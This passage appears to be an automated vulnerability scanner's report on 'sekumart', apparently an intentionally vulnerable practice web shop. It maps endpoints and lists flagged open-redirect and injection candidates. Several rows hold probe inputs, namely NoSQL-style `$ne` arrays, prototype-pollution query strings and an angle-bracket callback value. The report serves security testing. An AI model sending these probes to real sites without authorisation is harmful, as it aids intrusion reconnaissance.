`value` /sekumart.sekuripy.hr/login.php	sqli	A random value produced the same page as the original, so differential results for this parameter carry little weight.
`/api.php`	rest	JSON/REST endpoint observed in traffic.
`/apiv1.php`	rest	JSON/REST endpoint observed in traffic returning object[1].
`/cart.php`	workflow	Path segment `cart` indicates a multi-step business workflow. v0 maps it but never executes it.
`/var/www/html/cart.php`	workflow	Path segment `cart` indicates a multi-step business workflow. v0 maps it but never executes it.
`dest` /sekumart.sekuripy.hr/login.php	open redirect	`dest` looks like a redirect destination parameter and the endpoint is reachable.
`dest` /cart.php	open redirect	`dest` looks like a redirect destination parameter and the endpoint is reachable.
`dest` /catalog.php	open redirect	`dest` looks like a redirect destination parameter and the endpoint is reachable.
`id` /apiv1.php	nosqli	Sending `id[$ne]=` made the value arrive as an array, and the application handed that to a relational database rather than to a document store. The response changed for that reason alone, so this is not NoSQL injection - it is worth noting only next to the SQL injection on the same parameter.
`next` /catalog.php	open redirect	`next` looks like a redirect destination parameter and the endpoint is reachable.
`next` /sekumart.sekuripy.hr/login.php	open redirect	`next` looks like a redirect destination parameter and the endpoint is reachable.
`next` /cart.php	open redirect	`next` looks like a redirect destination parameter and the endpoint is reachable.
`q` /search.php	nosqli	Sending `q[$ne]=` made the value arrive as an array, and the application handed that to a relational database rather than to a document store. The response changed for that reason alone, so this is not NoSQL injection - it is worth noting only next to the SQL injection on the same parameter.
`q` /directory.php	nosqli	Sending `q[$ne]=` made the value arrive as an array, and the application handed that to a relational database rather than to a document store. The response changed for that reason alone, so this is not NoSQL injection - it is worth noting only next to the SQL injection on the same parameter.
`redirect` /catalog.php	open redirect	`redirect` looks like a redirect destination parameter and the endpoint is reachable.
`redirect` /cart.php	open redirect	`redirect` looks like a redirect destination parameter and the endpoint is reachable.
`redirect` /sekumart.sekuripy.hr/login.php	open redirect	`redirect` looks like a redirect destination parameter and the endpoint is reachable.
`returnTo` /catalog.php	open redirect	`returnTo` looks like a redirect destination parameter and the endpoint is reachable.
`returnTo` /cart.php	open redirect	`returnTo` looks like a redirect destination parameter and the endpoint is reachable.
`returnTo` /sekumart.sekuripy.hr/login.php	open redirect	`returnTo` looks like a redirect destination parameter and the endpoint is reachable.
`return_url` /cart.php	open redirect	`return_url` looks like a redirect destination parameter and the endpoint is reachable.
`return_url` /catalog.php	open redirect	`return_url` looks like a redirect destination parameter and the endpoint is reachable.
`return_url` /sekumart.sekuripy.hr/login.php	open redirect	`return_url` looks like a redirect destination parameter and the endpoint is reachable.
`target` /cart.php	open redirect	`target` looks like a redirect destination parameter and the endpoint is reachable.
`target` /sekumart.sekuripy.hr/login.php	open redirect	`target` looks like a redirect destination parameter and the endpoint is reachable.
`target` /catalog.php	open redirect	`target` looks like a redirect destination parameter and the endpoint is reachable.
`url` /catalog.php	open redirect	`url` looks like a redirect destination parameter and the endpoint is reachable.
`url` /sekumart.sekuripy.hr/login.php	open redirect	`url` looks like a redirect destination parameter and the endpoint is reachable.
`url` /cart.php	open redirect	`url` looks like a redirect destination parameter and the endpoint is reachable.

Attack surface 164 surfaces · 164 exercised · 110 flagged

kind	method	url	parameters	tested	flagged
query	GET	`https://sekumart.sekuripy.hr/setcurr.php?c=USD`	c	yes	—
query	GET	`https://sekumart.sekuripy.hr/setlevel.php?l=low`	l	yes	—
query	GET	`https://sekumart.sekuripy.hr/category.php?cat=1`	cat	yes	yes
query	GET	`https://sekumart.sekuripy.hr/product.php?id=1`	id	yes	yes
form / query	GET	`https://sekumart.sekuripy.hr/search.php`	q	yes	yes
query	GET	`https://sekumart.sekuripy.hr/account.php`	—	yes	yes
query	GET	`https://sekumart.sekuripy.hr/admin.php`	—	yes	yes
query	GET	`https://sekumart.sekuripy.hr/apiv1.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/vault.txt`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/source/`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/openapi.json`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/catalog.php`	sort	yes	yes
query / form	GET	`https://sekumart.sekuripy.hr/track.php`	order	yes	yes
json	POST	`https://sekumart.sekuripy.hr/login.php`	—	yes	—
json	POST	`https://sekumart.sekuripy.hr/apiv1.php`	id	yes	yes
query / form	GET	`https://sekumart.sekuripy.hr/directory.php`	q	yes	yes
query / form	GET	`https://sekumart.sekuripy.hr/members.php`	user	yes	yes
query	GET	`https://sekumart.sekuripy.hr/viewsource.php?p=account`	p	yes	—
form	POST	`https://sekumart.sekuripy.hr/challenges.php`	flag	yes	—
form	POST	`https://sekumart.sekuripy.hr/login.php`	username, password	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?add=1`	add	yes	yes
form	POST	`https://sekumart.sekuripy.hr/reviews.php`	product_id, author, body	yes	yes
query	GET	`https://sekumart.sekuripy.hr/login.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/cart.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/reviews.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/help.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/api.php?callback=cb`	callback	yes	yes
query	GET	`https://sekumart.sekuripy.hr/image.php?file=`	file	yes	yes
query	GET	`https://sekumart.sekuripy.hr/go.php?url=`	url	yes	yes
query	GET	`https://sekumart.sekuripy.hr/product.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/search.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/catalog.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/track.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/product.php?id=1`	id	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/`	—	yes	—
hash	GET	`https://sekumart.sekuripy.hr/help.php#lang=friend`	lang	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/directory.php?q=Ada`	q	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/members.php?user=ada`	user	yes	yes
query	GET	`https://sekumart.sekuripy.hr/var/www/html/source/image_low.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/image.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/?__proto__%5Bsksylbc5a%5D=sksa22ozlyq`	__proto__[sksylbc5a]	yes	—
query	GET	`https://sekumart.sekuripy.hr/?constructor%5Bprototype%5D%5Bsksylbc5a%5D=sksa22ozlyq`	constructor[prototype][sksylbc5a]	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/source/category_low.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/category.php`	—	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/search.php?q=sekuscan`	curr	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/help.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/challenges.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/challenges.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/directory.php`	curr	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/directory.php`	seclevel	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/members.php`	curr	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/members.php`	seclevel	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/track.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/track.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/search.php?q=`	seclevel	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/category.php?cat=2`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/category.php?cat=2`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/product.php?id=3`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/product.php?id=3`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/reviews.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/reviews.php`	seclevel	yes	yes
query	GET	`https://sekumart.sekuripy.hr/config.php`	—	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/config.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/config.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/viewsource.php?p=product`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/viewsource.php?p=product`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/admin.php?__proto__%5Bskshy1hwa%5D=sksksz9gdlp`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/admin.php?__proto__%5Bskshy1hwa%5D=sksksz9gdlp`	seclevel	yes	yes
query	GET	`https://sekumart.sekuripy.hr/admin.php?__proto__%5Bskshy1hwa%5D=sksksz9gdlp`	__proto__[skshy1hwa]	yes	—
query	GET	`https://sekumart.sekuripy.hr/admin.php?constructor%5Bprototype%5D%5Bskshy1hwa%5D=sksksz9…`	constructor[prototype][skshy1hwa]	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/cart.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/cart.php`	seclevel	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?del=1`	del	yes	yes
form	GET	`https://sekumart.sekuripy.hr/cart.php`	set, qty	yes	yes
form	POST	`https://sekumart.sekuripy.hr/cart.php`	code	yes	yes
form	POST	`https://sekumart.sekuripy.hr/cart.php`	checkout	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/login.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/login.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/apiv1.php?__proto__%5Bskseo3l7q%5D=skshddo8u7s`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/apiv1.php?__proto__%5Bskseo3l7q%5D=skshddo8u7s`	seclevel	yes	yes
query	GET	`https://sekumart.sekuripy.hr/apiv1.php?__proto__%5Bskseo3l7q%5D=skshddo8u7s`	__proto__[skseo3l7q]	yes	—
query	GET	`https://sekumart.sekuripy.hr/apiv1.php?constructor%5Bprototype%5D%5Bskseo3l7q%5D=skshddo…`	constructor[prototype][skseo3l7q]	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/catalog.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/catalog.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/hackme.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/hackme.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/tutorial.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/tutorial.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/help.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/account.php?__proto__%5Bsks7tn5gw%5D=sksbvgqb3k7`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/account.php?__proto__%5Bsks7tn5gw%5D=sksbvgqb3k7`	seclevel	yes	yes
query	GET	`https://sekumart.sekuripy.hr/account.php?__proto__%5Bsks7tn5gw%5D=sksbvgqb3k7`	__proto__[sks7tn5gw]	yes	—
query	GET	`https://sekumart.sekuripy.hr/account.php?constructor%5Bprototype%5D%5Bsks7tn5gw%5D=sksbv…`	constructor[prototype][sks7tn5gw]	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/source/search_low.php`	—	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/search_low.php`	curr	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/search_low.php`	seclevel	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/api.php?callback=cblfeda%3Cskslfe%3Egvunz`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/api.php?callback=cblfeda%3Cskslfe%3Egvunz`	seclevel	yes	yes
query	GET	`https://sekumart.sekuripy.hr/var/www/html/source/catalog_low.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/catalog.php`	—	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/catalog_low.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/catalog_low.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/catalog.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/catalog.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/members.php?user=sksao0x66`	seclevel	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/members.php?user=sksao0x66`	curr	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/image.php?file=assets%2Fshipping.txt`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/image.php?file=assets%2Fshipping.txt`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sksbuzqq4`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sksbuzqq4`	curr	yes	yes
query	GET	`https://sekumart.sekuripy.hr/var/www/html/source/directory_low.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/config.php`	—	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/directory_low.php`	seclevel	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/directory_low.php`	curr	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/config.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/config.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/directory.php?q=sksplef8t`	seclevel	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/directory.php?q=sksplef8t`	curr	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/source/product_low.php`	—	yes	—
query	GET	`https://sekumart.sekuripy.hr/var/www/html/product.php`	—	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/product_low.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/source/product_low.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/product.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/product.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/product.php?id=sks5c0dzs`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/product.php?id=sks5c0dzs`	curr	yes	yes
query	GET	`https://sekumart.sekuripy.hr/var/www/html/cart.php`	—	yes	—
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/cart.php`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/var/www/html/cart.php`	curr	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/x`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/x`	curr	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?product_id=1`	product_id	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?author=1`	author	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?body=1`	body	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?c=1&l=1&cat=1&id=1&q=1&sort=1&order=1&user=1`	c, l, cat, id, q, sort, order, user	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…`	data, src, dir, lang, view, redirect, returnTo, return_url	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?fields=1&full=true`	fields, full	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1…`	template, include, download, format, mode, state, code, session	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1…`	next, target, dest, comment, message, text, content, title	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…`	callback, file, url, name, search, query, page, filename	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?p=1&flag=1&username=1&password=1&add=1&product_…`	p, flag, username, password, add, product_id, author, body	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=tru…`	host, ip, cmd, fetch, load, refresh, all, expand	yes	yes
query	GET	`https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1…`	fileName, path, email, token, action, value, type, key	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…`	data, src, dir, lang, view, redirect, returnTo, return_url	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1…`	fileName, path, email, token, action, value, type, key	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…`	callback, file, url, name, search, query, page, filename	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…`	next, target, dest, comment, message, text, content, title	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true…`	host, ip, cmd, fetch, load, refresh, all, expand	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1…`	template, include, download, format, mode, state, code, session	yes	yes
query	GET	`https://sekumart.sekuripy.hr/cart.php?fields=1&full=true`	fields, full	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…`	next, target, dest, comment, message, text, content, title	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1…`	template, include, download, format, mode, state, code, session	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1…`	callback, file, url, name, search, query, page, filename	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…`	data, src, dir, lang, view, redirect, returnTo, return_url	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fields=1&full=true`	fields, full	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1…`	fileName, path, email, token, action, value, type, key	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?c=1&l=1&cat=1&id=1&q=1&sort=…`	c, l, cat, id, q, sort, order, user	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?p=1&flag=1&username=1…`	p, flag, username, password, add, product_id, author, body	yes	yes
query	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?host=1&ip=1&cmd=1&fetch=true…`	host, ip, cmd, fetch, load, refresh, all, expand	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=sksq3u3pe&include=1…`	seclevel	yes	yes
cookie	GET	`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=sksq3u3pe&include=1…`	curr	yes	yes

Forms and inputs 10 forms

action	method	fields	submitted
`https://sekumart.sekuripy.hr/search.php`	GET	`q`	yes
`https://sekumart.sekuripy.hr/challenges.php`	POST	`flag`	yes
`https://sekumart.sekuripy.hr/login.php`	POST	`username`, `password`	yes
`https://sekumart.sekuripy.hr/reviews.php`	POST	`product_id` hidden, `author`, `body`	yes
`https://sekumart.sekuripy.hr/track.php`	GET	`order`	yes
`https://sekumart.sekuripy.hr/directory.php`	GET	`q`	yes
`https://sekumart.sekuripy.hr/members.php`	GET	`user`	yes
`https://sekumart.sekuripy.hr/cart.php`	GET	`set` hidden, `qty`	yes
`https://sekumart.sekuripy.hr/cart.php`	POST	`code`	yes
`https://sekumart.sekuripy.hr/cart.php`	POST		no

Endpoints observed 52 endpoints · 1 returning JSON

method	path	statuses	calls	type
GET	`/`	200	20	text/html
GET	`/account.php`	200	6	text/html
GET	`/admin.php`	200	6	text/html
GET	`/api.php`	200	7	application/javascript
GET	`/apiv1.php` api	200	6	application/json
GET	`/app.js`	200	633	text/javascript
GET	`/beacon.min.js`	200	632	text/javascript
GET	`/cart.php`	200, 302	168	text/html
POST	`/cart.php`	200	26	text/html
GET	`/catalog.php`	200	77	text/html
GET	`/category.php`	200	15	text/html
POST	`/cdn-cgi/rum`	204	633	text/plain
GET	`/challenges.php`	200	3	text/html
POST	`/challenges.php`	200	4	text/html
GET	`/config.php`	200	1	text/html
GET	`/directory.php`	200	13	text/html
GET	`/go.php`	302, None	5	text/html
GET	`/hackme.php`	200	2	text/html
GET	`/help.php`	200	15	text/html
GET	`/image.php`	200	6	text/html
GET	`/login.php`	200	3	text/html
POST	`/login.php`	200	2	text/html
GET	`/members.php`	200	12	text/html
GET	`/product.php`	200	143	text/html
POST	`/reviews.php`	302	21	text/html
GET	`/reviews.php`	200	24	text/html
GET	`/search.php`	200	18	text/html
GET	`/sekumart.sekuripy.hr/directory.php`	404	2	text/html
GET	`/sekumart.sekuripy.hr/login.php`	404	67	text/html
GET	`/sekumart.sekuripy.hr/members.php`	404	2	text/html
GET	`/sekumart.sekuripy.hr/product.php`	404	2	text/html
GET	`/setcurr.php`	302	3	text/html
GET	`/setlevel.php`	302	3	text/html
GET	`/sksbuzqq4`	404	2	text/html
GET	`/source/`	404	1	text/html
GET	`/style.css?v=973b8b4fd6`	200	632	text/css
GET	`/track.php`	200	16	text/html
GET	`/tutorial.php`	200	2	text/html
GET	`/var/www/html/cart.php`	404	1	text/html
GET	`/var/www/html/catalog.php`	404	1	text/html
GET	`/var/www/html/category.php`	404	1	text/html
GET	`/var/www/html/config.php`	404	1	text/html
GET	`/var/www/html/image.php`	404	1	text/html
GET	`/var/www/html/product.php`	404	1	text/html
GET	`/var/www/html/source/catalog_low.php`	404	1	text/html
GET	`/var/www/html/source/category_low.php`	404	1	text/html
GET	`/var/www/html/source/directory_low.php`	404	1	text/html
GET	`/var/www/html/source/image_low.php`	404	1	text/html
GET	`/var/www/html/source/product_low.php`	404	1	text/html
GET	`/var/www/html/source/search_low.php`	404	1	text/html
GET	`/viewsource.php`	200	22	text/html
GET	`/x`	404	2	text/html

Pages reached 373 states · 672 transitions

url	status	title	visits
`https://sekumart.sekuripy.hr/`	200	sekumart	13
`https://sekumart.sekuripy.hr/account.php`	200	sekumart — account	2
`https://sekumart.sekuripy.hr/admin.php`	200	sekumart — admin	2
`https://sekumart.sekuripy.hr/apiv1.php`	200		2
`https://sekumart.sekuripy.hr/source/`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/search.php?q=`	—	sekumart — search	10
`https://sekumart.sekuripy.hr/viewsource.php?p=search`	—	sekumart — source	5
`https://sekumart.sekuripy.hr/challenges.php`	200	sekumart — challenges	1
`https://sekumart.sekuripy.hr/cart.php`	200	sekumart — cart	7
`https://sekumart.sekuripy.hr/login.php`	200	sekumart — login	3
`https://sekumart.sekuripy.hr/login.php`	—	sekumart — login	2
`https://sekumart.sekuripy.hr/viewsource.php?p=login`	—	sekumart — source	3
`https://sekumart.sekuripy.hr/catalog.php`	200	sekumart — catalog	4
`https://sekumart.sekuripy.hr/product.php?id=1`	—	sekumart — product	2
`https://sekumart.sekuripy.hr/viewsource.php?p=product`	—	sekumart — source	5
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/viewsource.php?p=reviews`	—	sekumart — source	3
`https://sekumart.sekuripy.hr/product.php?id=1`	200	sekumart — product	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/product.php?id=1`	200	sekumart — product	2
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/category.php?cat=1`	200	sekumart — Gadgets	3
`https://sekumart.sekuripy.hr/product.php?id=1`	—	sekumart — product	1
`https://sekumart.sekuripy.hr/track.php`	200	sekumart — track order	4
`https://sekumart.sekuripy.hr/track.php?order=`	—	sekumart — track order	1
`https://sekumart.sekuripy.hr/directory.php`	200	sekumart — staff directory	4
`https://sekumart.sekuripy.hr/directory.php?q=`	—	sekumart — staff directory	1
`https://sekumart.sekuripy.hr/members.php`	200	sekumart — loyalty members	4
`https://sekumart.sekuripy.hr/members.php?user=`	—	sekumart — loyalty members	1
`https://sekumart.sekuripy.hr/hackme.php`	200	sekumart — attack index	2
`https://sekumart.sekuripy.hr/tutorial.php`	200	sekumart — SQL injection tutorial	2
`https://sekumart.sekuripy.hr/help.php`	200	sekumart — help	10
`https://sekumart.sekuripy.hr/app.js`	200		1
`https://sekumart.sekuripy.hr/api.php?callback=cb`	200		2
`https://sekumart.sekuripy.hr/image.php?file=`	200		1
`https://sekumart.sekuripy.hr/go.php?url=`	302		1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/product.php?id=1`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/directory.php?q=Ada`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/members.php?user=ada`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/var/www/html/source/image_low.php`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/var/www/html/image.php`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/directory.php?q=sks3zy7xv`	200	sekumart — staff directory	1
`https://sekumart.sekuripy.hr/help.php`	200	sekumart — help	1
`https://sekumart.sekuripy.hr/?__proto__%5Bsksylbc5a%5D=sksa22ozlyq`	200	sekumart	1
`https://sekumart.sekuripy.hr/?constructor%5Bprototype%5D%5Bsksylbc5a%5D=sksa22ozlyq`	200	sekumart	1
`https://sekumart.sekuripy.hr/category.php?cat=sksxapynr`	200		1
`https://sekumart.sekuripy.hr/var/www/html/source/category_low.php`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/var/www/html/category.php`	404	sekumart — page not found	1
`https://sekumart.sekuripy.hr/search.php?q=sekuscan`	—	sekumart — search	1
`https://sekumart.sekuripy.hr/help.php`	200	sekumart — help	3
`https://sekumart.sekuripy.hr/challenges.php`	200	sekumart — challenges	2
`https://sekumart.sekuripy.hr/challenges.php`	—	sekumart — challenges	4
`https://sekumart.sekuripy.hr/directory.php?q=sekuscan`	—	sekumart — staff directory	1
`https://sekumart.sekuripy.hr/members.php?user=sekuscan`	—	sekumart — loyalty members	1
`https://sekumart.sekuripy.hr/track.php?order=sekuscan`	—	sekumart — track order	2
`https://sekumart.sekuripy.hr/category.php?cat=2`	200	sekumart — Apparel	4
`https://sekumart.sekuripy.hr/product.php?id=3`	—	sekumart — product	3
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	2
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/category.php?cat=3`	200	sekumart — Books	2
`https://sekumart.sekuripy.hr/product.php?id=4`	—	sekumart — product	4
`https://sekumart.sekuripy.hr/category.php?cat=4`	200	sekumart — Home	2
`https://sekumart.sekuripy.hr/product.php?id=7`	—	sekumart — product	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	6
`https://sekumart.sekuripy.hr/config.php`	200		1
`https://sekumart.sekuripy.hr/category.php?cat=5`	200	sekumart — Toys	2
`https://sekumart.sekuripy.hr/product.php?id=10`	—	sekumart — product	8
`https://sekumart.sekuripy.hr/product.php?id=1`	200	sekumart — product	2
`https://sekumart.sekuripy.hr/admin.php?__proto__%5Bskshy1hwa%5D=sksksz9gdlp`	200	sekumart — admin	1
`https://sekumart.sekuripy.hr/admin.php?constructor%5Bprototype%5D%5Bskshy1hwa%5D=sks…`	200	sekumart — admin	1
`https://sekumart.sekuripy.hr/product.php?id=2`	200	sekumart — product	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/product.php?id=3`	200	sekumart — product	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/product.php?id=5`	200	sekumart — product	2
`https://sekumart.sekuripy.hr/product.php?id=6`	200	sekumart — product	4
`https://sekumart.sekuripy.hr/product.php?id=7`	200	sekumart — product	1
`https://sekumart.sekuripy.hr/reviews.php`	—	sekumart — reviews	1
`https://sekumart.sekuripy.hr/product.php?id=8`	200	sekumart — product	2
`https://sekumart.sekuripy.hr/product.php?id=9`	200	sekumart — product	2
`https://sekumart.sekuripy.hr/product.php?id=11`	200	sekumart — product	2
